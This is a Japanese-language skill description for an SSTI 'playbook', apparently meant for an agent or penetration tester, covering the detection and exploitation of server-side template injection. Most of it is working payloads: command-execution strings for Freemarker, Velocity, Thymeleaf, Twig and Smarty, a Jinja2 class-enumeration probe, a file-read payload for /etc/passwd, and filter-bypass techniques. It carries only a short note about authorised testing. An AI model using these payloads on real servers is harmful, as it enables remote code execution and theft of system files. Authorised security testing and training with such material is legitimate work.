ssti-server-side-template-injection は何をしますか?
SSTIプレイブック。テンプレート式、サーバーサイドレンダリング、プレビュー機能、またはテンプレートエンジンが攻撃者制御のコンテンツを評価する可能性がある場合に使用します。
説明
このスキルは、サーバーサイドテンプレートインジェクション(SSTI)のテストと悪用のための体系的なアプローチを提供します。
対象テンプレートエンジン
- Freemarker(Java)
- Velocity(Java)
- Thymeleaf(Java)
- Jinja2(Python)
- Twig(PHP)
- Smarty(PHP)
- その他(Pug、Mustache、Handlebarsなど)
基本的な検出ペイロード
単純な算術式を使用してSSTIの存在を確認します:
| ペイロード | 期待される結果 |
|---|---|
{{7*7}} | 49 |
${7*7} | 49 |
#{7*7} | 49 |
*{7*7} | 49 |
エンジン固有のペイロード
Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Thymeleaf
${T(java.lang.Runtime).getRuntime().exec("id")}
Jinja2
{{ ''.__class__.__mro__[1].__subclasses__() }}
Twig
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
Smarty
{php}echo shell_exec("id");{/php}
高度なテクニック
フィルター/サニタイザーのバイパス
一部のテンプレートエンジンはユーザー入力をサニタイズします。以下のテクニックを使用してバイパスします:
- 文字エンコーディング(Unicodeエスケープ、HTMLエンティティ)
- 文字列連結
- 式のネスト
- 代替構文
ファイル読み取り
${T(java.io.FileReader).newInstance("/etc/passwd").read()}
リモートコード実行(RCE)
上記のエンジン固有の例を参照してください。
注意事項
- 許可された環境でのみテストを実行してください。
- ターゲットアプリケーションのテンプレートエンジンを特定してください。
- エラーメッセージを分析して、使用されているエンジンを特定します。
- サーバー上で悪意のあるアクションを実行する前に、常に概念実証から開始してください。